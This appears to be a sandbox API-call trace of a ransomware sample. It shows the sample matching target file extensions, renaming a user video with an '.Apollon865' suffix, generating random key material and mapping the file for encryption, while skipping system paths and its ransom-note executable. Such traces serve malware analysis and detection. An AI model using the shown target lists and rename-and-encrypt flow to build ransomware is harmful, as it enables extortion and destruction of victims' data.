	[0086.283] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.283] lstrlenW (lpString="cat") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.283] lstrlenW (lpString="cdb") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.283] lstrlenW (lpString="ckp") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.283] lstrlenW (lpString="cma") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.283] lstrlenW (lpString="cpd") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.283] lstrlenW (lpString="dacpac") returned 6
	[0086.283] lstrcmpiW (lpString1=" g.flv", lpString2="dacpac") returned -1
	[0086.283] lstrlenW (lpString="dad") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.283] lstrlenW (lpString="dadiagrams") returned 10
	[0086.283] lstrcmpiW (lpString1="D iD g.flv", lpString2="dadiagrams") returned -1
	[0086.283] lstrlenW (lpString="daschema") returned 8
	[0086.283] lstrcmpiW (lpString1="iD g.flv", lpString2="daschema") returned 1
	[0086.283] lstrlenW (lpString="db-journal") returned 10
	[0086.283] lstrcmpiW (lpString1="D iD g.flv", lpString2="db-journal") returned -1
	[0086.283] lstrlenW (lpString="db-shm") returned 6
	[0086.283] lstrcmpiW (lpString1=" g.flv", lpString2="db-shm") returned -1
	[0086.283] lstrlenW (lpString="db-wal") returned 6
	[0086.283] lstrcmpiW (lpString1=" g.flv", lpString2="db-wal") returned -1
	[0086.283] lstrlenW (lpString="dbc") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.283] lstrlenW (lpString="dbs") returned 3
	[0086.283] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.284] lstrlenW (lpString="dbt") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.284] lstrlenW (lpString="dbv") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.284] lstrlenW (lpString="dbx") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.284] lstrlenW (lpString="dcb") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.284] lstrlenW (lpString="dct") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.284] lstrlenW (lpString="dcx") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.284] lstrlenW (lpString="ddl") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.284] lstrlenW (lpString="dlis") returned 4
	[0086.284] lstrcmpiW (lpString1=".flv", lpString2="dlis") returned -1
	[0086.284] lstrlenW (lpString="dp1") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dp1") returned 1
	[0086.284] lstrlenW (lpString="dqy") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dqy") returned 1
	[0086.284] lstrlenW (lpString="dsk") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dsk") returned 1
	[0086.284] lstrlenW (lpString="dsn") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dsn") returned 1
	[0086.284] lstrlenW (lpString="dtsx") returned 4
	[0086.284] lstrcmpiW (lpString1=".flv", lpString2="dtsx") returned -1
	[0086.284] lstrlenW (lpString="dxl") returned 3
	[0086.284] lstrcmpiW (lpString1="flv", lpString2="dxl") returned 1
	[0086.284] lstrlenW (lpString="eco") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="eco") returned 1
	[0086.285] lstrlenW (lpString="ecx") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="ecx") returned 1
	[0086.285] lstrlenW (lpString="edb") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="edb") returned 1
	[0086.285] lstrlenW (lpString="epim") returned 4
	[0086.285] lstrcmpiW (lpString1=".flv", lpString2="epim") returned -1
	[0086.285] lstrlenW (lpString="fcd") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fcd") returned 1
	[0086.285] lstrlenW (lpString="fdb") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fdb") returned 1
	[0086.285] lstrlenW (lpString="fic") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fic") returned 1
	[0086.285] lstrlenW (lpString="flexolibrary") returned 12
	[0086.285] lstrlenW (lpString="fm5") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fm5") returned -1
	[0086.285] lstrlenW (lpString="fmp") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fmp") returned -1
	[0086.285] lstrlenW (lpString="fmp12") returned 5
	[0086.285] lstrcmpiW (lpString1="g.flv", lpString2="fmp12") returned 1
	[0086.285] lstrlenW (lpString="fmpsl") returned 5
	[0086.285] lstrcmpiW (lpString1="g.flv", lpString2="fmpsl") returned 1
	[0086.285] lstrlenW (lpString="fol") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fol") returned -1
	[0086.285] lstrlenW (lpString="fp3") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fp3") returned -1
	[0086.285] lstrlenW (lpString="fp4") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fp4") returned -1
	[0086.285] lstrlenW (lpString="fp5") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fp5") returned -1
	[0086.285] lstrlenW (lpString="fp7") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fp7") returned -1
	[0086.285] lstrlenW (lpString="fpt") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="fpt") returned -1
	[0086.285] lstrlenW (lpString="frm") returned 3
	[0086.285] lstrcmpiW (lpString1="flv", lpString2="frm") returned -1
	[0086.286] lstrlenW (lpString="gdb") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.286] lstrlenW (lpString="gdb") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.286] lstrlenW (lpString="grdb") returned 4
	[0086.286] lstrcmpiW (lpString1=".flv", lpString2="grdb") returned -1
	[0086.286] lstrlenW (lpString="gwi") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="gwi") returned -1
	[0086.286] lstrlenW (lpString="hdb") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="hdb") returned -1
	[0086.286] lstrlenW (lpString="his") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="his") returned -1
	[0086.286] lstrlenW (lpString="ib") returned 2
	[0086.286] lstrcmpiW (lpString1="lv", lpString2="ib") returned 1
	[0086.286] lstrlenW (lpString="idb") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="idb") returned -1
	[0086.286] lstrlenW (lpString="ihx") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="ihx") returned -1
	[0086.286] lstrlenW (lpString="itdb") returned 4
	[0086.286] lstrcmpiW (lpString1=".flv", lpString2="itdb") returned -1
	[0086.286] lstrlenW (lpString="itw") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="itw") returned -1
	[0086.286] lstrlenW (lpString="jet") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="jet") returned -1
	[0086.286] lstrlenW (lpString="jtx") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="jtx") returned -1
	[0086.286] lstrlenW (lpString="kdb") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="kdb") returned -1
	[0086.286] lstrlenW (lpString="kexi") returned 4
	[0086.286] lstrcmpiW (lpString1=".flv", lpString2="kexi") returned -1
	[0086.286] lstrlenW (lpString="kexic") returned 5
	[0086.286] lstrcmpiW (lpString1="g.flv", lpString2="kexic") returned -1
	[0086.286] lstrlenW (lpString="kexis") returned 5
	[0086.286] lstrcmpiW (lpString1="g.flv", lpString2="kexis") returned -1
	[0086.286] lstrlenW (lpString="lgc") returned 3
	[0086.286] lstrcmpiW (lpString1="flv", lpString2="lgc") returned -1
	[0086.287] lstrlenW (lpString="lwx") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="lwx") returned -1
	[0086.287] lstrlenW (lpString="maf") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="maf") returned -1
	[0086.287] lstrlenW (lpString="maq") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="maq") returned -1
	[0086.287] lstrlenW (lpString="mar") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mar") returned -1
	[0086.287] lstrlenW (lpString="marshal") returned 7
	[0086.287] lstrcmpiW (lpString1="D g.flv", lpString2="marshal") returned -1
	[0086.287] lstrlenW (lpString="mas") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mas") returned -1
	[0086.287] lstrlenW (lpString="mav") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mav") returned -1
	[0086.287] lstrlenW (lpString="maw") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="maw") returned -1
	[0086.287] lstrlenW (lpString="mdbhtml") returned 7
	[0086.287] lstrcmpiW (lpString1="D g.flv", lpString2="mdbhtml") returned -1
	[0086.287] lstrlenW (lpString="mdn") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mdn") returned -1
	[0086.287] lstrlenW (lpString="mdt") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mdt") returned -1
	[0086.287] lstrlenW (lpString="mfd") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mfd") returned -1
	[0086.287] lstrlenW (lpString="mpd") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mpd") returned -1
	[0086.287] lstrlenW (lpString="mrg") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mrg") returned -1
	[0086.287] lstrlenW (lpString="mud") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mud") returned -1
	[0086.287] lstrlenW (lpString="mwb") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="mwb") returned -1
	[0086.287] lstrlenW (lpString="myd") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="myd") returned -1
	[0086.287] lstrlenW (lpString="ndf") returned 3
	[0086.287] lstrcmpiW (lpString1="flv", lpString2="ndf") returned -1
	[0086.287] lstrlenW (lpString="nnt") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="nnt") returned -1
	[0086.288] lstrlenW (lpString="nrmlib") returned 6
	[0086.288] lstrcmpiW (lpString1=" g.flv", lpString2="nrmlib") returned -1
	[0086.288] lstrlenW (lpString="ns2") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="ns2") returned -1
	[0086.288] lstrlenW (lpString="ns3") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="ns3") returned -1
	[0086.288] lstrlenW (lpString="ns4") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="ns4") returned -1
	[0086.288] lstrlenW (lpString="nsf") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="nsf") returned -1
	[0086.288] lstrlenW (lpString="nv") returned 2
	[0086.288] lstrcmpiW (lpString1="lv", lpString2="nv") returned -1
	[0086.288] lstrlenW (lpString="nv2") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="nv2") returned -1
	[0086.288] lstrlenW (lpString="nwdb") returned 4
	[0086.288] lstrcmpiW (lpString1=".flv", lpString2="nwdb") returned -1
	[0086.288] lstrlenW (lpString="nyf") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="nyf") returned -1
	[0086.288] lstrlenW (lpString="odb") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.288] lstrlenW (lpString="odb") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.288] lstrlenW (lpString="oqy") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="oqy") returned -1
	[0086.288] lstrlenW (lpString="ora") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="ora") returned -1
	[0086.288] lstrlenW (lpString="orx") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="orx") returned -1
	[0086.288] lstrlenW (lpString="owc") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="owc") returned -1
	[0086.288] lstrlenW (lpString="p96") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="p96") returned -1
	[0086.288] lstrlenW (lpString="p97") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="p97") returned -1
	[0086.288] lstrlenW (lpString="pan") returned 3
	[0086.288] lstrcmpiW (lpString1="flv", lpString2="pan") returned -1
	[0086.289] lstrlenW (lpString="pdb") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="pdb") returned -1
	[0086.289] lstrlenW (lpString="pdm") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="pdm") returned -1
	[0086.289] lstrlenW (lpString="pnz") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="pnz") returned -1
	[0086.289] lstrlenW (lpString="qry") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="qry") returned -1
	[0086.289] lstrlenW (lpString="qvd") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="qvd") returned -1
	[0086.289] lstrlenW (lpString="rbf") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="rbf") returned -1
	[0086.289] lstrlenW (lpString="rctd") returned 4
	[0086.289] lstrcmpiW (lpString1=".flv", lpString2="rctd") returned -1
	[0086.289] lstrlenW (lpString="rod") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="rod") returned -1
	[0086.289] lstrlenW (lpString="rodx") returned 4
	[0086.289] lstrcmpiW (lpString1=".flv", lpString2="rodx") returned -1
	[0086.289] lstrlenW (lpString="rpd") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="rpd") returned -1
	[0086.289] lstrlenW (lpString="rsd") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="rsd") returned -1
	[0086.289] lstrlenW (lpString="sas7bdat") returned 8
	[0086.289] lstrcmpiW (lpString1="iD g.flv", lpString2="sas7bdat") returned -1
	[0086.289] lstrlenW (lpString="sbf") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="sbf") returned -1
	[0086.289] lstrlenW (lpString="scx") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="scx") returned -1
	[0086.289] lstrlenW (lpString="sdb") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="sdb") returned -1
	[0086.289] lstrlenW (lpString="sdc") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="sdc") returned -1
	[0086.289] lstrlenW (lpString="sdf") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="sdf") returned -1
	[0086.289] lstrlenW (lpString="sis") returned 3
	[0086.289] lstrcmpiW (lpString1="flv", lpString2="sis") returned -1
	[0086.290] lstrlenW (lpString="spq") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="spq") returned -1
	[0086.290] lstrlenW (lpString="te") returned 2
	[0086.290] lstrcmpiW (lpString1="lv", lpString2="te") returned -1
	[0086.290] lstrlenW (lpString="teacher") returned 7
	[0086.290] lstrcmpiW (lpString1="D g.flv", lpString2="teacher") returned -1
	[0086.290] lstrlenW (lpString="tmd") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="tmd") returned -1
	[0086.290] lstrlenW (lpString="tps") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="tps") returned -1
	[0086.290] lstrlenW (lpString="trc") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.290] lstrlenW (lpString="trc") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.290] lstrlenW (lpString="trm") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="trm") returned -1
	[0086.290] lstrlenW (lpString="udb") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="udb") returned -1
	[0086.290] lstrlenW (lpString="udl") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="udl") returned -1
	[0086.290] lstrlenW (lpString="usr") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="usr") returned -1
	[0086.290] lstrlenW (lpString="v12") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="v12") returned -1
	[0086.290] lstrlenW (lpString="vis") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="vis") returned -1
	[0086.290] lstrlenW (lpString="vpd") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="vpd") returned -1
	[0086.290] lstrlenW (lpString="vvv") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="vvv") returned -1
	[0086.290] lstrlenW (lpString="wdb") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="wdb") returned -1
	[0086.290] lstrlenW (lpString="wmdb") returned 4
	[0086.290] lstrcmpiW (lpString1=".flv", lpString2="wmdb") returned -1
	[0086.290] lstrlenW (lpString="wrk") returned 3
	[0086.290] lstrcmpiW (lpString1="flv", lpString2="wrk") returned -1
	[0086.291] lstrlenW (lpString="xdb") returned 3
	[0086.291] lstrcmpiW (lpString1="flv", lpString2="xdb") returned -1
	[0086.291] lstrlenW (lpString="xld") returned 3
	[0086.291] lstrcmpiW (lpString1="flv", lpString2="xld") returned -1
	[0086.291] lstrlenW (lpString="xmlff") returned 5
	[0086.291] lstrcmpiW (lpString1="g.flv", lpString2="xmlff") returned -1
	[0086.291] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hD iD g.flv.Apollon865") returned 59
	[0086.291] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hD iD g.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hd id g.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hD iD g.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hd id g.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hD iD g.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hd id g.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.292] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=21755) returned 1
	[0086.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.292] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.293] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.293] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.294] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5800, lpName=0x0) returned 0x15c
	[0086.294] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5800) returned 0x100000
	[0086.295] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.295] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.295] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.295] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.296] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.296] CloseHandle (hObject=0x15c) returned 1
	[0086.296] CloseHandle (hObject=0x9c) returned 1
	[0086.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30114f70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30114f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.305] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.305] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab61c90, ftCreationTime.dwHighDateTime=0x1d4c9f5, ftLastAccessTime.dwLowDateTime=0x4f65a150, ftLastAccessTime.dwHighDateTime=0x1d4d1c5, ftLastWriteTime.dwLowDateTime=0x4f65a150, ftLastWriteTime.dwHighDateTime=0x1d4d1c5, nFileSizeHigh=0x0, nFileSizeLow=0xe95b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mZZcohw0sUK2JwS SWp.mp4", cAlternateFileName="MZZCOH~1.MP4")) returned 1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="Apollon865.txt.exe") returned 1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".") returned 1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="..") returned 1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="windows") returned -1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="bootmgr") returned 1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="temp") returned -1
	[0086.305] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="pagefile.sys") returned -1
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="boot") returned 1
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="ids.txt") returned 1
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="ntuser.dat") returned -1
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="perflogs") returned -1
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2="MSBuild") returned 1
	[0086.306] lstrlenW (lpString="mZZcohw0sUK2JwS SWp.mp4") returned 23
	[0086.306] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hD iD g.flv") returned 48
	[0086.306] lstrcpyW (in: lpString1=0x119e652, lpString2="mZZcohw0sUK2JwS SWp.mp4" | out: lpString1="mZZcohw0sUK2JwS SWp.mp4") returned="mZZcohw0sUK2JwS SWp.mp4"
	[0086.306] lstrlenW (lpString="mZZcohw0sUK2JwS SWp.mp4") returned 23
	[0086.306] lstrlenW (lpString="Apollon865") returned 10
	[0086.306] lstrcmpiW (lpString1="wS SWp.mp4", lpString2="Apollon865") returned 1
	[0086.306] lstrlenW (lpString=".dll") returned 4
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".dll") returned 1
	[0086.306] lstrlenW (lpString=".lnk") returned 4
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".lnk") returned 1
	[0086.306] lstrlenW (lpString=".ini") returned 4
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".ini") returned 1
	[0086.306] lstrlenW (lpString=".sys") returned 4
	[0086.306] lstrcmpiW (lpString1="mZZcohw0sUK2JwS SWp.mp4", lpString2=".sys") returned 1
	[0086.306] lstrlenW (lpString="mZZcohw0sUK2JwS SWp.mp4") returned 23
	[0086.306] lstrlenW (lpString="bak") returned 3
	[0086.306] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1
	[0086.306] lstrlenW (lpString="ba_") returned 3
	[0086.306] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1
	[0086.306] lstrlenW (lpString="dbb") returned 3
	[0086.306] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1
	[0086.306] lstrlenW (lpString="vmdk") returned 4
	[0086.306] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1
	[0086.306] lstrlenW (lpString="rar") returned 3
	[0086.306] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1
	[0086.306] lstrlenW (lpString="zip") returned 3
	[0086.306] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1
	[0086.306] lstrlenW (lpString="tgz") returned 3
	[0086.306] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1
	[0086.306] lstrlenW (lpString="vbox") returned 4
	[0086.306] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1
	[0086.307] lstrlenW (lpString="vdi") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1
	[0086.307] lstrlenW (lpString="vhd") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1
	[0086.307] lstrlenW (lpString="vhdx") returned 4
	[0086.307] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1
	[0086.307] lstrlenW (lpString="avhd") returned 4
	[0086.307] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1
	[0086.307] lstrlenW (lpString="db") returned 2
	[0086.307] lstrcmpiW (lpString1="p4", lpString2="db") returned 1
	[0086.307] lstrlenW (lpString="db2") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1
	[0086.307] lstrlenW (lpString="db3") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1
	[0086.307] lstrlenW (lpString="dbf") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1
	[0086.307] lstrlenW (lpString="mdf") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1
	[0086.307] lstrlenW (lpString="mdb") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1
	[0086.307] lstrlenW (lpString="sql") returned 3
	[0086.307] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1
